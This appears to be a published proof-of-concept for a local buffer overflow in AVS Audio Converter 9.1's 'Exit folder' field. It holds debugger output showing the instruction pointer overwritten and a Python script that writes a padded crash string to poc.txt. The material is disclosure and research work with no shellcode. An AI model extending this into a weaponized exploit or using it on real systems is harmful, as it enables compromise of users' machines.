56 lines
No EOL
1.8 KiB
Python
Executable file
56 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow
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# Exploit Author : ZwX
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# Exploit Date: 2019-12-17
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# Vendor Homepage : http://www.avs4you.com/
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# Link Software : http://www.avs4you.com/avs-audio-converter.aspx
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# Tested on OS: Windows 7
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'''
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Technical Details & Description:
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================================
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A local buffer overflow vulnerability has been discovered in tihe official AVS Audio Converter.
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The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
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The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
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The vulnerability is marked as classic buffer overflow issue.
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Analyze Registers:
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==================
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(1e74.1b78): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=00000000 ecx=42424242 edx=778c6d1d esi=00000000 edi=00000000
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eip=42424242 esp=0012f098 ebp=0012f0b8 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
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42424242 ?? ???
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0:000> !exchain
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0012f0ac: ntdll!ExecuteHandler2+3a (778c6d1d)
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0012fa30: 42424242
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Invalid exception stack at 41414141
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Note: EIP & ECX overwritten
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Proof of Concept (PoC):
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=======================
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1.Download and install AVS Audio Converter
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2.Open the AVS Audio Converter
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3.Run the python operating script that will create a file (poc.txt)
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4.copy and paste the characters found in the file (poc.txt) in the field "Exit folder"
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5.Click on browse
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6.EIP overwritten
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'''
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#!/usr/bin/python
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buffer = "\x41" * 264
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a = "\x42" * 4
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b = "\x43" * 1000
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poc = buffer + a + b
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file = open("poc.txt","w")
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file.write(poc)
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file.close()
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print "POC Created by ZwX" |